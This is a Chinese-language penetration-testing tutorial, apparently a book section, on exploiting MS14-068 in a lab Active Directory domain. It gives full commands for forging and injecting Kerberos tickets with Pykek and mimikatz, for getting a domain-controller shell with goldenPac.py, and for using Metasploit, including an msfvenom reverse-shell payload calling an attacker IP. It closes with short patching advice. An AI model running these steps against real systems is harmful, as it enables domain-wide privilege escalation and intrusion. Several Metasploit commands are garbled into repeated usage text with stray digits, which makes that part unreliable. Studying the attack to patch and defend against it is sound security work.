kerberos-MS14-068（kerberos域用户提权)

1、使用Pykek工具包配合mimikatz进行测试；

2、使用impacket工具包中goldenPac.py进行测试。

3、使用metasploit进行测试。

4、修复方案

测试环境如下：

域：pentest.com

域账号：user1/Aa123456@

域sid：S-1-5-21-3112629480-1751665795-4053538595-1104

域控：WIN-2K5J2NT2O7P.pentest.com

Kali：172.16.86.131

域机器：172.16.86.129

Pykek(Python Kerberos Exploitation Kit)，其下载地址为

https://github.com/mubix/pykek，

图6-47脚本下载页面

（1）工具说明

ms14-068.py为Pykek工具包中利用脚本，如图6-48所示

图6-48 查看ms14-068.py

其参数如下

USAGE:ms14-068.py-u <userName>@<domainName>　用户名＠域名-s <userSid>  　　　　　　用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword>　明文密码。--rc4 < ntlmHash> 没有明文的情况下，Ntlmhash登录。

（2）获取域控制器修复补丁情况

输入命令wmic qfe get hotfixid

微软对CVE-2014-6324提供的补丁修复为KB3011780，如图6-49所示，未发现该补丁。

图6-49获取域控制器修复补丁情况

（3）获取用户的SID

登录用户user1，输入命令，whoami/user。可以看到user1用户的SID为

S-1-5-21-3112629480-1751665795-4053538595-1104

如图6-50所示。

图6-50获取用户的SID

还有一个方法也可以用来获取用户SID，

输入命令wmic useraccount get name,sid

可以获取域内所有用户名和SID，如图6-51所示。

图6-51获取所有用户的SID

（4）使用Kerberos利用工具Pykek生成高权限票据

使用方法：

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

在Pykek目录中输入如下命令，如图6-52所示，在当前目录生成了一个名为[email protected]的票据文件。

python ms14-068.py -u user@pentest.com -s S-1-5-21-3112629480-1751665795-4053538595-1104 -d 172.16.86.130 -p Aa123456@

图6-52使用Pykek生成高权限票据

（5）查看注入前权限

图6-53注入票据前无法列出域控制器C盘目录

输入命令net use \WIN-2K5J2NT2O7Pc$，提示Access is denied。

（6）清空内存中所有的票据

再打开mimikatz.exe，输入命令kerberos::purge清除现有票据信息，当看到Ticket(s) purge for current session is OK表示成功清除，如图6-54所示。

图6-54清空内存中所有的票据

（7）将高权限票据注入到内存

在mimikatz中输入如下命令，看到Injecting ticket ：OK表示成功注入，如图6-55所示，输入exit，退出mimikatz。

kerberos::ptc “TGT_user1@pentest.com.ccache”

图6-55将高权限票据注入到内存中

（8）高权限注入到内存后验证权限

查看是否可以连接域控制器，再次使用dir尝试列出域控制器C盘目录，如图6-56所示，成功列出域控制器C盘目录。

图6-56注入后成功列出域控制器C盘目录

注：net use 在连接ip的时候可能会失败，故使用机器名进行连接。

goldenPac.py是被集成在impacket工具包中，用来操作kerberos的工具。goldenPac.py存放在impacket-master/examples目录中。

使用方法：

python goldenPac.py 域名称/域成员用户:域成员用户密码@域控制器地址

（1）依赖环境准备，安装kerberos客户端

Kali中默认未包含kerberos客户端，首先安装它。

输入命令apt-get install  krb5-user -y

（2）利用ms14-068配合psexec获取域控制器的cmd shell

goldenPac.py pentest.com/user1:jackpwd@dc.pentest.com

就可以得到一个cmd shell，如图6-57所示。

图6-57使用goldenPac.py获得一个域控制器cmd shell

注：

（1）该工具不止可以直接得到一个shell，还可以直接上传程序，

（2）该工具可以直接执行获取一个Cobaltstrike Beacon。

首先打开metasploit找到ms14-068利用脚本位置如下。

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

列出该脚本所需选项，如图6-58所示。

图6-58列出该脚本所有选项

DOMAIN：域名称

PASSWORD：被提权用户密码

USER：被提权用户

USER_SID：被提权用户SID

kerberos::clist“20180715230259_default_172.16.86.130_windows.kerberos_839172.bin”

图6-59执行脚本，攻击域控制器

kerberos::clist”20180715230259_default_172.16.86.130_windows.kerberos_839172.bin” /export

图6-60 格式转换

在kali中输入如下命令。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.86.135 LPORT=4444 -f exe > shell.exe

图6-61使用msfvenom生成msf木马

此时获得一个meterpreter的session，将生成的木马shell.exe上传到windows 2008机器中并执行。

在metasploit中输入如下命令。

USAGE:ms14-068.py-u <userName>@<domainName>　用户名＠域名-s <userSid>  　　　　　　用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword>　明文密码。--rc4 < ntlmHash> 没有明文的情况下，Ntlmhash登录。0

可以看到上线一台主机ip为172.16.86.129。输入getuid回显PENTESTuser1，如图6-62所示。

图6-62成功获取一个session并加载kiwi

输入

USAGE:ms14-068.py-u <userName>@<domainName>　用户名＠域名-s <userSid>  　　　　　　用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword>　明文密码。--rc4 < ntlmHash> 没有明文的情况下，Ntlmhash登录。1

输入

USAGE:ms14-068.py-u <userName>@<domainName>　用户名＠域名-s <userSid>  　　　　　　用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword>　明文密码。--rc4 < ntlmHash> 没有明文的情况下，Ntlmhash登录。2

将票据导入，然后输入命令background将meterpreter切到后台，这里就可以使用高权限票据来进行权限提升。

在msf中输入以下命令执行。

USAGE:ms14-068.py-u <userName>@<domainName>　用户名＠域名-s <userSid>  　　　　　　用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword>　明文密码。--rc4 < ntlmHash> 没有明文的情况下，Ntlmhash登录。3

成功提升权限。

1、开启Windows Update功能，进行自动更新。

2、手工下载补丁包进行修复，微软已经在官网发布修复补丁ms14-068。

3、对域内账号进行控制，禁止使用弱口令，及时并定期修改密码。

4、在服务器端安装反病毒软件，及时更新病毒库。